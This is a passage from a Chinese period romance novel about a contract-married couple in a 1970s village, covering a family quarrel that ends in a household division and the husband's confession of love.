傅青山倒是很理解:“嗯,强身健体是日积月累的,不急于一时,先养好身体。” 谢晚棠长舒一口气,今晚可以逃过锻炼了,至于以后日积月累的痛苦,就以后再说吧T_T 兰兰中午按着谢晚棠教的法子做的酱茄子,不过因为谢晚棠还在生理期,大酱就没下那么多,口味还算清淡爽口。 酱茄子就着鸡蛋手擀面又香又下饭,孩子们吃得满嘴都是油。 小刚把一大碗面条和茄子都扒拉上,撑得打了个咯:“我以前最讨厌吃茄子了,但是大姐的茄子做得太好吃了,我都吃不够!还有早晨爹做的拌茄子也好吃!” 兰兰其实也不爱吃茄子,早晨说吃茄子她就有点皱眉头,不过早晨爹蒸熟了又加大蒜泥和酱油凉拌过的茄子很爽口,一点都不难吃,甚至还有点没吃够。 中午她照着谢晚棠说的做出来的酱茄子更是美味,跟以前大娘水炖的茄子完全不一样,一点没了茄子本身那股子怪味,当面条卤子可太下饭了! 兰兰笑道:“是娘的做法好。” 二刚舔了舔嘴上的油:“娘,茄子还有什么吃法,尽管招呼我吧!” 谢晚棠想了想:“炸茄盒也好吃啊,用大葱猪肉剁碎了当馅,把茄子切片中间夹上一层肉馅,外面裹上一层面糊放油里两面炸到金黄,咬一口外焦里嫩。” 孩子们被谢晚棠描述得都要流口水了,谢晚棠叹了口气:“可惜太费油。” 二刚叹了口气:“我美味的茄盒啊!等到了共产主义社会可以顿顿吃茄盒吗?” 谢晚棠被逗得噗嗤一声笑出来,“努力学习,好好奋斗,不用到共产主义,你就能顿顿吃茄盒。” 她没有骗二刚,确实是,她所在的21世纪,还只是社会主义初级阶段,别说茄盒了,人们过年大鱼大肉都吃够了呢,二刚的那点吃货小期望,都是小意思。 吃过午饭,孩子们都不让她干活,谢晚棠被推着上炕休息,听着孩子们收拾桌子刷碗,傅青山杀鸡炖鸡,突然感觉自己应该算是这个年代很幸福的女人了吧。 虽然要做5个孩子的后妈,但孩子们都这么听话懂事。 虽然和傅青山只是合约夫妻,但傅青山不仅对她出手阔绰,还关心体谅她。 午后的阳光真好,她的生活也真好。 可能是流血太消耗气血了,谢晚棠一觉起来透过窗棂往外看了眼,太阳都要落山了。 已经5点多了。 家里太安静,她还以为孩子们都没回来,下炕穿鞋,一推开炕间的门,扑面而来鸡汤浓郁的香气,还有探头探脑跟在傅青山身后的孩子们。 原来不是没回来,是都安安静静不吵不闹的,怕吵醒她。 傅青山端了个大汤碗,正在往里舀汤,看到她下来:“正好鸡汤好了。” 谢晚棠睡醒了身体舒服,心里发暖,笑容不自觉都是暖的:“好!” 傅青山见她恢复了往常八成的朝气,提着的心放下了大半。 谢晚棠去换了干净的月经带回来,傅青山已经把炕桌搬上炕,小桌上一碗鸡汤,一双筷子一只勺,板板正正。 谢晚棠被香味诱惑,不知道是不是流血多的缘故,特别饿,上炕舀了一口汤先喝了,就看到碗里不止有鸡汤,还有鸡腿肉。 溜达鸡的腿肉活,颜色偏红,比其他部位更软更有滋味。 傅青山居然还给她把骨头都剔掉了,肉也撕成了一条一条的,泡在鸡汤里格外入味。 真的是很细心了。 傅青山看起来高冷难接近,也不会说什么软话,但实际行动上却妥妥是个暖男。 孩子们也都舀上鸡汤鸡肉上炕来,大家围在一起吸溜吸溜地吃肉喝汤,俨然一个最亲密的大家庭,如果不说,任谁也看不出来,这是后爸后妈加五个没有血缘的孩子。 不知道来例假是不是会传染,昨天谢晚棠没去上工说是来例假了,今天晌午头,傅大嫂也来例假了。 可惜她没谢晚棠那样的好福气,来了例假就能在家歇着。耽误了挣工分,婆婆能用眼刀子剜死她。 忍着小肚子的难受给一大家子做了晚饭,傅大嫂吃了几口没胃口,就回西间去躺着了,挺了一下午的腰躺下又酸又涨。 像谢晚棠那样来例假有人照顾是不用想了,歇会儿起来,她还得去刷碗,小姑子和婆婆是绝对不会伸手管的,什么都等着她。 平时忙忙碌碌的干习惯了麻木了,身上不舒坦的时候人就难免烦躁难耐。 尤其是现在还有谢晚棠做例子摆在面前,对比之下,她对傅老大都觉得烦。 在外边谁不说傅老大好,能干,大孝子,可那有什么用,从来没给她撑过腰。 再看看傅青山,不管外边传他传得多不好,人家就是疼老婆疼孩子,从来没让谢晚棠受过一点委屈。 心里正憋屈着,傅老大进来叫她去收拾翻桌子,她烦的要命,头一跳一跳的疼,结婚以来第一次朝男人大声说话:“看不着我难受?哪天我死了你们就都不吃饭不收拾桌子了?!” 傅老大突然被怼,怔了下,一时摸不着头脑,顿了顿,自己去东间拾掇下来饭桌子,当然也仅限于拾掇下来桌子,刷碗这种事男人是不可能做的。 傅老大吃完饭出去溜达,碰着二刚和小刚牵着小狗出来玩,自从结了婚,傅老大晚上从来没见过二弟,看二弟家大门闭着,他问二刚:“你爹在家干嘛呢?” 二刚一边逗小黑,一边对大爷道:“刷碗呢。” 傅老大……?? 傅老大皱眉:“你爹今天怎么刷碗?” 二刚摇头:“不是今天,我爹每天都刷碗。” 傅老大……???? 傅老大不能理解:“那你娘呢?你娘不刷碗?” 二刚不知道今天大爷怎么问题这么多,但娘说了,对长辈要有礼貌,于是二刚耐心解释道:“我娘刷过两次,不过奶奶给分的碗都是破口,把我娘的手给划破了,后来爹就不让娘刷了。” 傅老大:“……” 只是划破过手就直接不让刷碗了?傅老大一时间很难理解这样的理由,在他的认知里,妇女在家里干活,磕磕碰碰都是再平常不过的事。 傅老大刚要推门去给老二讲讲男人结了婚在家应*该怎么着,就听二刚悠悠道:“我爹说了,最没用的男人才把老婆当驴使。” 傅老大:“……” 傅老大刚搭上门环的手默默收了回来,在去村头侃大山和回家刷碗之间犹豫了一秒,还是往村头走去。 他都结婚快十年了,老二不过才结婚一个月,懂什么啊。 傅大嫂躺在炕上心烦身体又难受,小闺女去隔壁玩完回来舔着嘴唇,一脸羡慕地跟她说,“妞妞他们晚上吃的鸡,二叔给二婶炖了补身体的,他们每个人都吃了。” 傅大嫂闻声皱眉,原来傅青山中午带回来那只鸡不是要养着下蛋的,而是要炖了给谢晚棠吃的。 都是嫁到一个家门里,不同人不同命,她就得忍着例假的难受当老妈子伺候一大家子,谢晚棠不光不用上工,还有男人给炖鸡吃。 傅大嫂不知道怎么是怎么了,这么多年都熬过来了,突然心态就崩了,把小闺女搂到怀里默默流泪。 闺女担心地伸出小手给她擦眼泪:“娘,你怎么哭了?” 傅大嫂强撑着摇摇头:“没事,娘就是想,到时候一定给你找个好男人。” 女人嫁给个什么样的男人,真是第二次投胎。 傅老大侃完大山回来,看当门的碗还横在饭桌上没动,探头往西间一看,媳妇躺在炕里头,背朝着她。 傅老大皱眉:“怎么还没刷碗?” 傅大嫂本来就烦心燥郁气不顺,闻声猛得坐起来:“我是不是死之前也得先给你们家刷完碗才能咽气?!” 傅老大被吓了一大跳,回过神来摆摆手:“你不好受就明早再起来洗吧。” 傅大嫂眼泪唰一下就下来了,气得骂道:“我就活该当老妈子伺候你们,我都这么难受了,你们一个个不知道是真瞎还是装瞎,都看不着!我嫁到你们老傅家十年,我任劳任怨,给你生儿育女,你们把我当人看了吗?!” 看着媳妇发白的脸色和通红的眼,傅老大一下子就给自己对号入座上二刚说的那种最没用的男人,把老婆当驴使。 没想到说一句刷碗扯出这么大事,傅老大头疼得紧,皱眉看了眼桌上的碗,他也不是不能刷,毕竟老二都在家刷,他偷偷刷一回又没人知道。 傅老大撸起袖子:“好了好了,别哭了,我洗就是了。” 刚说完,傅老太从东间炕上下来,一把把傅老大扯到身后:“谁家男人刷碗!传出去像什么样子!” 说完傅老太还走到西间门口,叉着腰指着傅大嫂,语气一贯的强势:“娶你可是花了钱的,你不干活谁干活!” 傅大嫂不知道生理期女人容易脾气暴躁,反正她就是感觉整个人都要爆炸了。 说到彩礼,她更是憋屈:“就花了20块钱娶了我,我嫁到你们家10年,天天跟驴一样干,一天到头我也值两块钱了吧!难道20块钱我就得一辈子卖给你们家当老妈子了吗?就是地主老财也没你们这样吸血的!” 越说声音越大,最后直接是哭着吼出来的,谢晚棠在东屋炕上都听着了,下炕到天井里听得更清楚。 是傅大嫂的声音? 傅大嫂在这个家里一直是任劳任怨的老实人角色,没有老三家的那么多心眼子,平时也没脾气,所以结婚当天傅老太才能指使傅大嫂来给自己送剩饭,最后还想把屎盆子扣傅大嫂头上。 这样的老实人居然在……可以说是咆哮了。 傅青山在院里洗衣裳,两人对视一眼,傅青山洗了手擦干,朝正屋那边去了。 傅青山进门的时候,听见“啪”的一声脆响,傅老大站在当门懵了,傅青山皱眉,一步踏进西间,就看见傅大嫂坐在炕上,脸上一个通红的巴掌印,他娘轮圆了胳膊还要打。 几乎是一瞬间,傅大嫂红着眼睛爬起来下了炕,用尽全身的力气扑了上去,把傅老太直接摁倒在地,傅老太的一把脆骨头哪里扛得住,当场扶着腚哀嚎出声。 不是平常那种假哭的动静,是真的惨叫哀嚎。 傅青山赶紧上前把傅大嫂拉开,傅大嫂头疼脸疼,肚子疼腰也疼,情绪彻底崩溃了,哭着跌坐在炕上。 傅老太一边捂着腚,一边还要去打傅大嫂,被傅青山一把扯回来后朝着傅青山又捶又打又哭,骂傅青山不给她撑腰打老大媳妇。 老的少的都哭,傅老大头都懵了,就是刷个碗怎么会惹出这么多事来。 傅青山冷着脸把他娘拖出来,塞到傅老大怀里,出门回去叫谢晚棠过来把傅大嫂领走静一静。 谢晚棠点点头,她扶着傅大嫂出来的时候,老三家的也探头探脑地出来看热闹。 傅大嫂去了东屋没多久,傅老汉和傅青宁去大队部广场玩完回来了,谢晚棠听到隔壁又传来傅老太嚎丧一样的动静,还喊着要休了傅大嫂。 傅大嫂哭得整个人都没劲了,什么也不在乎了,靠在谢晚棠怀里道:“弟妹,我不怕被休,我现在就感觉真想去死,可又放不下几个孩子。” 谢晚棠拍拍她后背:“她越这样,越不能让她如愿啊,干嘛要死,偏要好好活出个样来给她看。再说了,现在是社会主义了,她有什么权利休了你,就算要不过了,也是你提离婚,是你踹了他们!” 谢晚棠说话铿锵有力,不卑不亢,傅大嫂感觉像是被灌入了一股力量,朝她点头。 过了有半个小时,傅青山回来了,问傅大嫂愿不愿意分家。 傅大嫂当然愿意,就算分了家她吃糠咽菜,她也愿意! 傅青山点头:“大嫂,你今晚先好好休息,明天一早,我去找支书来分家。” 正屋那边终于安静下来,谢晚棠叹了口气,再老实的人也有承受不住的时候,所以真的不要欺人太甚。 解决完那头的事,傅青山重新坐下洗衣裳,谢晚棠垂眸扫了一眼…… 傅青山盆里洗的竟然不是他自己的衣裳,而是她换下来还没来得及洗的……月经带!!!!! 看着傅青山的手浸泡在她的血水里,谢晚棠说不出是个什么感觉。 洗月经带这种事,好像就算是像爸爸那样亲,也不会做吧。 谢晚棠皱眉:“那个,我自己洗就行。” 傅青山:“大夫说你不能碰凉水。” 谢晚棠:“我可以烧热水掺着洗。” 傅青山不说话了,垂眸坐在那里没动,昏暗的光线下也看不清他的神色。 谢晚棠抿唇:“其实你没必要对我这么好的。” 傅青山抬头看她,黑眸发亮:“对你好,不好吗?” 谢晚棠皱眉:“不是不好,而是……” 傅青山:“什么?” 谢晚棠叹了口气:“你对我太好,好到我都没什么能报答你的。” 她深知,一段关系想要长远,平衡是多么重要。 到目前为止,傅青山给她的越来越多,而她于傅青山而言,却没有那么大价值。 傅青山看他许久:“你不需要报答我。” 他心甘情愿,所以她无需报答。 在傅青山心里,这是再正确不过的逻辑。 光影忽明忽暗,傅青山抬眸看她,眼睛眨了下,她的心也跟着动了下。 第44章 我喜欢,你。 她非常确定,傅青山真的只是说话时很平常地眨了下眼睛,但那一刻,她就是对这个看起来冷淡却很暖的男人突然心动了一下。 原来心动不是一个形容词,是一个动词。 心动是因为傅青山竟然不嫌污秽也不求回报地给她洗月经带,但又不仅仅是因为这个。 在这个贫苦且大男子主义盛行的年代,当一个帅气多金又宠妻护妻的男人出现在你的生活里,只要是一个正常有心的女人,真的很难不心动。 他对她所做的一切都不求回报,他身上的那种无私,就像这个年代一样,质朴无华,让人向往。 傅青山即使坐着比她矮,那宽阔挺直的脊背也依旧让人觉得如山一般可靠,谢晚棠站在他面前,垂眸和他对视片刻,轻轻抿唇:“如果你为我做这些,却连报答都不要,那我可能——” 傅青山微微仰头,黑曜石一般的眸子定定地看着她:“可能什么?” 可能会情不自禁地喜欢上你。 然而我们却只是合约夫妻关系而已。 谢晚棠深吸一口气,浅浅勾起唇角:“你对我这么好,我却没有什么能回报你的,我可能会没有安全感。” 如果傅青山是她真正的爱人,那傅青山为她做这些,她真的会很开心,发自内心地高兴,会觉得自己找到了一个真心疼爱自己的好老公,是个非常幸福的女人。 但现实是,傅青山只是她的合约爱人,傅青山对她的好,只是出于他的人品,他的责任感,傅青山娶了任何一个女人,可能都会这样,而不是因为喜欢她。 那当她接受了傅青山的好,却无法回报什么的话,这种失衡的关系会让她缺少安全感,感觉不到自己在这段关系里存续的价值。 傅青山微微皱眉,他虽然有点难以理解谢晚棠的想法,但没有反驳她。 他想了想,道:“你不是没有回报,你回报给我一个幸福的家,我觉得这比什么都重要。至于我所做的,只要你愿意接受,那我保证,我会是你永远的安全感,就像你说的,不离不弃。” 傅青山平时话不多,更别说是这种像情话一样的保证。 谢晚棠没谈过恋爱,她没有经验,但傅青山说这些,在她听来,几乎和表白无异! 但傅青山的眼睛看着她的时候又那样干净,干净到让人感觉不到任何煽情的成分,好像只是在说最平常不过的话。 谢晚棠被他看得脸发烫,稀里糊涂地点了头,迷迷糊糊地接受了傅青山给她承诺的安全感。 傅青山让她回屋先歇着,他继续给她洗月经带。 谢晚棠受冲击有点大,一时也不知道该怎么单独面对傅青山,便进屋去给孩子们做秋天衣裳。 她印象中,每年差不多过完中秋,天气就会骤然凉下来,毫无过渡。 距离中秋还有半个多月,她白天还要上工,家里孩子又多,得提前就开始做,不然到时候突然要穿可来不及。 晚上大队部放电影,五个孩子都去了,睡觉的时候才回来,躺下还叽叽喳喳讨论电影里的反派。 傅青山关了灯上炕躺下,谢晚棠下意识屏住呼吸。 以前和傅青山躺一个炕上挨着睡也没什么感觉,无非就是担心晚上她不老实,打扰傅青山睡觉。 今晚却不一样,躺下后完全没有睡意,脑海里全是傅青山仰视着她对她说得那些话,每一句都击在她的心头,让她无法平静。 身边躺着一个自己好像有点喜欢的男人,谢晚棠感觉自己就像爱情电影里那些情窦初开的少女,心绪乱跳,就连男人平稳的呼吸声都无法起到助眠的作用,眼睛铮亮,头脑清醒,没有一点困意。 两人都平躺着,胳膊只是离得有些近,并没有靠上,便能感觉到傅青山身上的温度,比他的高,暖呼呼地烘烤着她那一小片皮肤,带起一点燥意。 忽然想到二刚之前口无遮拦说得那句“娘睡觉的时候抱着爹的胸,骑着爹的鸡”,心绪不同,谢晚棠此时脑海里想起这句话,脸比当时听到时还烫,要命了!她都干了些什么啊!!! 都说日有所思夜有所梦,生怕自己因为对傅青山的心意改变,睡着了再对傅青山做出什么尴尬抠脚趾的丑事,她更不敢睡了! 一直挨到后半夜,隐约听着村里公鸡的打鸣声,谢晚棠才终于在疲惫中沉沉闭上眼睛。 翌日。 吃过早饭,傅青山去叫支书傅余年过来分家,谢晚棠和傅老三夫妻也被叫过去看着。 有老二老三的分家单照着,老大分家自然没什么难,除了哭哭啼啼的傅老太。 昨晚傅青山过来,亲眼看着老大媳妇把她推倒在地,她哭着让傅青山给她撑腰,收拾老大媳妇,结果傅青山却说:“分家吧。” 她和闺女当然不愿意,分了家,家里的活谁干。 可老头子听说她们婆媳抱成一团打了起来,叹了口气,说家散了就分吧! 所以傅余年过来分家的时候,她心里一百个不情愿,一直哭唧着抹眼泪:“我辛辛苦苦养大三个儿子,一个争用的也没有,娶了媳妇都急不跌撇了我这老娘,我上辈子是造了什么孽啊!” 傅老大被她念叨得眼眶都红了,回头祈求地看向傅大嫂。 谢晚棠早就感觉傅老大是那种典型的愚孝,今天一看,实锤了,老娘哭一哭吹吹风,傅老大耳朵根子就软了。 傅大嫂跟他生活这么多年,谢晚棠都能看出来的事,她自然看得清清楚楚。 傅大嫂昨天哭得太厉害,眼睛还没消肿,但语气是前所未有的坚定:“你如果不想分家,我们就去公社离婚。” 傅老大惊得嘴都要闭不上了,他娶回来10年一直对她百依百顺的贤惠媳妇,居然宁愿离婚也要分家! 说实话,谢晚棠以前对软弱的傅大嫂没什么感觉,但傅大嫂这一番刚,她到是有些欣赏了。 傅老太刚开始嚎了一声,被支书傅余年用力敲敲烟袋锅子止下。 傅余年皱眉看向这位他一点也瞧不上的弟妹:“分家怎么就是造孽了?!我家老大一结婚就分出去了,老二马上要结婚了,结了婚也马上分出去,老三也一样,要照你这么说,我上辈子也造孽了?” 傅余年是村里的老支书了,人品端正,很有威望,从不做伤天害理的事,谁敢说他造孽。 傅老太被怼得不敢吱声,傅余年又道:“夫妻俩还磕磕绊绊呢,一大家子天天搅和在一起,谁家能没矛盾,何况你和青宁也不是省油的灯!” 傅大嫂嫁过来10年,为人性格傅余年再清楚不过,听傅青山说婆媳俩都动了手,傅余年就知道,这个大侄媳妇,是忍无可忍了,不然以她的性子,做不出这样的事。 傅老太还没说话,傅青宁先不干了,一叉腰:“大爷,我怎么就不是省油的灯了?!” 傅余年哼了声:“大嫂照顾老的照顾小的,洗衣裳做饭,你这个当小姑子的帮着干了什么?嗯?” 傅青宁一缩脖子,偏头不说话了。 傅余年懒得跟一个小辈计较,看傅老太和傅青宁都不犟了,道:“分家是为了好好过日子,老二分了家,我看着过得就很好,刘主任昨天跟我说了,要把镇里分下来的五好家庭的荣誉给老二家。” 谢晚棠没想到来旁听居然还有自己的事,五好家庭?听起来很有年代感的荣誉称号啊! 老三媳妇闻声撇撇嘴,接着就听傅支书道:“老三分了家也很好,我看着老三现在也勤快了,老三媳妇把家里家外拾掇得也利利索索,只要两个人都好好干,日子就没有过不好的。” 没想到自己也会被夸,老三媳妇刚撇下去的嘴,又控制不住地扬了起来,腰板下意识都挺直了。 最后傅支书一锤定音:“老大和老大媳妇都是能干的人,分家不是坏事,分了家就好好挣工分过日子。” 傅大嫂闻声点头:“都听大爷的。” 听支书大爷这么说,傅老大也没再说什么。 傅余年不管傅老太和傅青宁有什么情绪,照着分家单公平公正地开始分家。 西屋的小炕也连着大锅,只不过除了冬天暖炕,一般不烧火,分了家傅大嫂就用西屋的锅做自己家的饭。 其他的钱粮油牲畜家把什,就跟老二老三分家的时候一样按份领了。 除去一开始跟傅老太费唾沫,傅余年也就半个小时就分完了,秋收忙,他还急着去地里。 忙分家耽误了时间,傅青山今天没去上班,直接去下地。 月经第三天了,谢晚棠感觉身体好得差不多了,也和傅青山一起去下地挣工分。 这个点大家都在地里,路上没什么人,谢晚棠带着凉帽,和傅青山并肩走在小土路上。 傅大嫂终于解脱出来,可以开始崭新的生活,她替傅大嫂高兴,心情也跟着轻快起来,蹦蹦跳跳地倒背着手走,和傅青山面对面:“要不是支书大爷在,我感觉你大哥刚才都要反悔了,不过好在大嫂态度很坚决。” 傅青山点头。 谢晚棠耸耸肩:“你们兄弟三个性格还真是天壤之别,大哥愚孝,老三油滑,你——” 谢晚棠一时没找出来一个最合适最准确的词形容傅青山。 傅青山薄唇抿成一条平直的线,定定地看着她:“我是什么?” 谢晚棠想了好一会儿,索性不纠结于一个词了:“你正直有底线,能明辨是非,不大男子主义,对家庭很有责任感。” 没想到谢晚棠会用这么多夸奖的话来定义他,傅青山一时都不知该说什么好。 9点的太阳还不毒,暖洋洋地照在人身上,有点舒服。 谢晚棠突然叹了口气:“要是你娶个大嫂那样贤惠持家的媳妇,你的日子肯定能过到飞起来。” 可惜被她一顿忽悠,娶了她这么个笨老婆。 上门提结婚的时候她可是拍着胸脯说又要给他洗衣服又要给他做饭,让他没有后顾之忧地去挣钱,家里放心交给她! 结果一结婚,除了她做衣服的职业特长,剩下的家务活全是纸上谈兵,傅青山被迫上得厅堂、下得厨房…… 谢晚棠凉帽的帽檐有点长,低头的时候,傅青山只能看到她的下巴尖尖的,是很好看的弧度,恢复了血色的唇粉粉的,在阳光下透出诱人的光泽。 待她仰头看他的时候,看到那双水润好看的杏眸似有一丝失落,傅青山感觉心绪一下子被牵扯。 他不想看到她有一点不开心。 傅青山看着她,脱口而出:“我不喜欢大嫂那样的,我喜欢,你。” 第45章 单纯、青涩、害羞。 傅青山说完就愣了,没想到就这么把心里话脱口而出了。 谢晚棠顿住脚步,怔在当场,愣愣地看着他,不确定地问:“你喜欢……我这种不贤惠的老婆?” 傅青山不可能突然当街对她表白,可能话里有歧义,不是喜欢她,而是喜欢她这种人。 但是……她这种不贤惠的老婆有什么好喜欢的呢? 傅青山口味这么独特的吗? 傅青山薄唇抿成一条平直的线,怔愣过后,突然就不想再逃避了,这次他语气肯定,不带任何歧义道:“我喜欢你。” 谢晚棠瞪大眼睛,傅青山说了两遍的话,她不可能是幻听了。 傅青山说喜欢她! 傅青山也喜欢她! 你以为你喜欢上一个不会喜欢你的人而有些许小失落,他却先对你表白说也喜欢你,爱情就这样从天而降。 有点甜。 谢晚棠心里头小鹿乱撞,一时竟不知该如何回应傅青山真诚又直接的表白,犹豫片刻,她往前一步,伸手,轻轻抱住傅青山的腰,脸靠在他结实的胸膛,听着他心脏有力地跳动,充满了安全感。 傅青山说过,只要她愿意,他就会是他永远的安全感。 明媚的朝阳暖暖地落在小夫妻肩头,也温暖了他们脚下的小土路。 很多年后,谢晚棠始终忘不了这个美好的小村庄,在这里,她遇到了她的天命。 她也忘不了这条安静的乡间小路,这里,是他和傅青山爱情开始的地方。 他们是彼此的初恋,没有任何经验,跌跌撞撞地走到一起,一起学会如何去爱。 “老二你在这干——哎呀!” 听到傅大哥的声音,谢晚棠吓一跳,她都能想象到傅大哥说这话时没眼看的表情。 上世纪70年代毕竟没有她曾经生活的21世纪那么开放,小情侣当街就能拥吻,这个年代,别说小情侣了,就是结了婚的夫妻,在外边看起来都像真兄弟一样纯洁。 谢晚棠赶紧从傅青山怀里出来,就像是刚刚恋爱的小情侣一样,单纯、青涩、害羞。 可能初恋都会这样吧,与年龄无关。 傅青山就不一样了,大佬不愧是大佬,被亲哥撞见也面不改色,转身握住她的手,一脸自然地跟大哥打了个招呼。 傅大哥扫了一眼老二握着弟媳妇的手,赶紧移开视线,轻咳一声:“一块走?” 傅青山点头,牵着谢晚棠的手,走在傅大哥旁边。 傅大哥走到半路就后悔了,他就不该提议一块走! 明明是小夫妻当街搂搂抱抱,还当着他的面手牵手,他只是坦坦荡荡地经过而已,现在他反倒觉得自己成了最尴尬的那一个! 如果他在家拾掇西屋锅灶的时候再慢点,间开鸡窝的时候歇口气喝口水,不用那么急,是不是就不会碰上老二他们两口子了! 看老二媳妇乖乖巧巧地黏在老二身边的样子,再一想自己家那一摊头疼的事,自己比老二早结婚十年,却过得一塌糊涂。 他甚至想,如果自己昨晚也像老二一样在家刷了碗,他媳妇是不是就不会跟他吵,他娘也就不会听着声音下炕来,他娘不下来,也就不会跟他媳妇吵起来打起来,也就不会像现在这样,不分家老婆要离婚,分了家又对不起爹娘。 男人和女人不在一块干活,谢晚棠到地头就跟傅青山分开,去找玉秀了。 傅青山和傅大哥一块走,大哥一路耷拉着脑袋傅青山自然都看在眼里。 “大哥,爹娘对咱们有养育之恩,咱们挣了工分挣了钱养爹娘是应该的,但咱的媳妇没有这个责任,对她们有养育之恩的只有她们的亲爹亲娘。” 走到干活的地方,周围都是人,傅青山点到为止,没有再继续往下说。 傅大哥干活的时候时不时发呆,在想老二刚才说的话。 傅大哥是大孝子,在他心里,孝道大过天,对于傅青山说的话,他一开始根本转不过弯来,娶媳妇回来不照顾爹娘?那怎么能行? 可后来越想越觉得老二说得好像在理,分了家,他怎么对爹娘好都可以,那是他当儿子应该的。 但如果不分家,要求媳妇无条件任劳任怨照顾他的爹娘和妹妹,好像就没那么有理。 早晨傅青山去找傅支书的时候,玉秀在家,知道了老大家要分家的事。 是而谢晚棠一过来,玉秀就朝她使眼色,低声道:“你看傅青宁,脸臭得跟黑锅底似的。” 傅青宁当然脸色不会好,傅大嫂分出去,家里的活全落到她和她娘身上,做饭她娘还能做,刷碗洗衣服,去收拾自留地,这些肯定都是她的事,她能高兴才怪! 玉秀摇摇头:“以前没分家的时候她呲哒大嫂跟呲哒孩子一样,现在好了,大嫂连俺二婶子都打了,还分了家,还能搭理她?” 谢晚棠手里掰着棒子,闻声耸耸肩:“怎么可能。” 谢晚棠并不知道自己是这场分家的导火索,她只是觉得傅大嫂虽然脾气好,能忍耐,但既然已经决定不忍了,就没有再回头的道理。 而且,她觉得傅青宁如果只是不干活还可以接受,这只能说明她人懒。 关键是她一边享受着傅大嫂的付出,一边还对傅大嫂没有半分尊重,这就是人品问题了,非常让人反感。 玉秀撇嘴:“她还总说你是地主家的闺女,成分差,我看她天天在家跟个姑奶奶似的让大嫂伺候,她才像个大小姐呢。” 谢晚棠笑道:“以后不会了,以后她跟我们一样,可以体会到什么叫劳动最光荣了。” …… 中午下工的时候,兰兰和玉秀如往常一样跟她一起往家走,但今天,谢晚棠心里却记挂着和傅大哥、大刚走在后边的傅青山。 忙的时候顾不上想,一闲下来,就会想起早晨傅青山对她直白的告白,心里便雀跃着停不下来,直到听到玉秀大声叫她。 “怎么了?”谢晚棠懵懵圈。 玉秀皱眉看她:“嫂子,你怎么了?想什么呢都出神了。” 谢晚棠闻声脸一下子热起来:“没什么啊,就……想想一会儿中午做什么吃。” 好在玉秀没多盘问她,只道:“嫂子,玉米收的差不多了,趁着还没开始收花生,咱这周天去镇上买布怎么样?” 谢晚棠自然没意见,两人约好了时间,到路口分开。 谢晚棠和兰兰先到的家,中午时间短,就简单做个白菜虾仁炒蛋,烀二合面饼子,晚上有时间再研究点好的。 兰兰和面,谢晚棠抱了颗白菜去压井那儿刚要洗,傅青山和大刚二刚推门进来了。 两人对视一眼,谢晚棠感觉心里又开始控制不住地小鹿乱撞,率先移开了视线。 下一秒,傅青山走过来,从她手上接过白菜:“我来吧。” 不知道是不是真的情人眼里出西施,早上才确认关系,过了不过三个小时,她竟然觉得傅青山的嗓音如低音炮一般好听,撩拨着她的耳膜。 而且傅青山接过白菜的时候,大手无意中擦过她指尖,有点痒。 孩子们都在,谢晚棠没说什么,只嗯了声,如往常一般把白菜给了傅青山,她回了炕间,趁着还没开饭,抽空给孩子们做衣服。 一直到吃完饭上炕躺下,两人都没有可以单独说话的时间。 谢晚棠躺下,不轻不重地叹了口气,怪不得都说二人世界好,像他们这种有孩子,还是有五个孩子的,就算刚刚确认关系,应该算是在热恋期吧,就一点谈恋爱的空间都没有。 她之前还觉得不急着盖房子,攒攒钱过两年也行,不过就是再忍两年隔壁娘俩的鸡飞狗跳就是了。 但现在,她恨不得明天就能盖房子,后天她就能和傅青山有个单独的卧室,起码能保留最后一点点私密的二人空间。 妞妞扭头看她,隔着三个哥哥小声问:“娘,你怎么叹气?” “……” 总不能说我想和你爹谈恋爱,结果有你们五个大大小小的电灯泡吧,那也太伤害小朋友了…… 谢晚棠温声道:“娘没事,妞妞快睡吧。” 这下谢晚棠连叹气也不敢了,耸耸肩闭上眼睛,努力让自己静下心来。 结果,身旁的手直接伸手握住她的手,大手几乎把她的手整个包裹在掌心。 谢晚棠偏头,看到傅青山也在看她,她看到了傅青山眼中和她同样的无奈。 谢晚棠低笑,傅青山和她一样,也是第一次恋爱,第一次感受荷尔蒙的影响,无法自控。 两人对视片刻,谢晚棠明显感觉到傅青山掌心温度在升高,但鉴于五个小灯泡在,又什么都不能做,只能忍着。 终于轮到傅青山叹气,谢晚棠笑着闭上眼睛,傅青山有力的大手如他坚实的胸膛一般给她足够的安全感,她在逐渐涌上的疲惫中睡去。 下午谢晚棠下工回来,妞妞和小刚跑过来跟她说,大娘送过来一盆包子。 谢晚棠进当门看到盆里妞妞剩下的那半个二合面菜包子,干了一下午也饿了,谢晚棠拿起那半个菜包子一尝,虽然没有肉也没有鸡蛋,但是傅大嫂手艺很好,纯素馅也调得有滋有味。 她知道这是傅大嫂感谢她和傅青山为她出头,懂得感恩的人,说明内心还是很善良的。 晚上大家一起吃的傅大嫂送来的包子,孩子们也都很喜欢,不过一人只能分到一个,几个大的都没吃够,又把中午剩下的二合面饼子分了吃了。 二刚问谢晚棠:“娘,等着咱家能自己包包子吃吗?多包点,吃到爽!” 说实话,谢晚棠也没吃够,她看向家里的大厨。 傅青山想了想:“包包子没问题,主要是怕调出来的馅味道不行。” 谢晚棠:“那等着我去和大嫂请教学习一下!” 吃过晚饭,傅青山洗碗,谢晚棠倒了半包虾皮出来去找傅大嫂。 傅大嫂是知道感恩的人,但毕竟刚分家,底子薄,日子肯定过得紧吧。 她过去的时候,傅青宁正在院里的压井旁刷碗,看到她哼了一声,像是看阶级敌人。 谢晚棠懒得理会傅青宁,直接进屋找傅大嫂。 傅大嫂正在西间炕上给孩子补衣服,看着谢晚棠递过来的争鲜的虾皮,自然是喜欢,但还是摇摇头还给谢晚棠:“虾皮可是好东西,得用票才能买着,几个菜包子,谢你和二弟我都试着拿不出手,弟妹你不用这么客气。” 谢晚棠笑着把虾皮塞回傅大嫂手里:“大嫂你就收下吧,你要是觉得不好意思,下次我包包子,你过来帮我调调馅吧,你包的包子太好吃了,我和孩子们都没吃够。” 谢晚棠给得很坚决,不是表面让一让,傅大嫂犹豫了下才收下,对谢晚棠笑道:“那有什么难的,你什么时候要包跟我说,我给你包。” 她早就听说谢晚棠不会做饭,家里都是老二做饭,以前她还有点嫉妒谢晚棠比她过得舒服,现在只觉得,难得有她能帮上谢晚棠的地方。 谢晚棠问了需要准备什么菜,然后跟傅大嫂约着周末下午,去镇上买完东西回来包。 傅大嫂听她说要去镇上,便问她能不能帮着捎点土布,给小闺女立春做身秋衣裳:“总是穿她大哥二哥穿下来的,乏得补都没法补了。” 谢晚棠看着傅大嫂手里给立春补的衣裳,确实是补丁压补丁,洗得泛白,都快看不出来原来的色了。 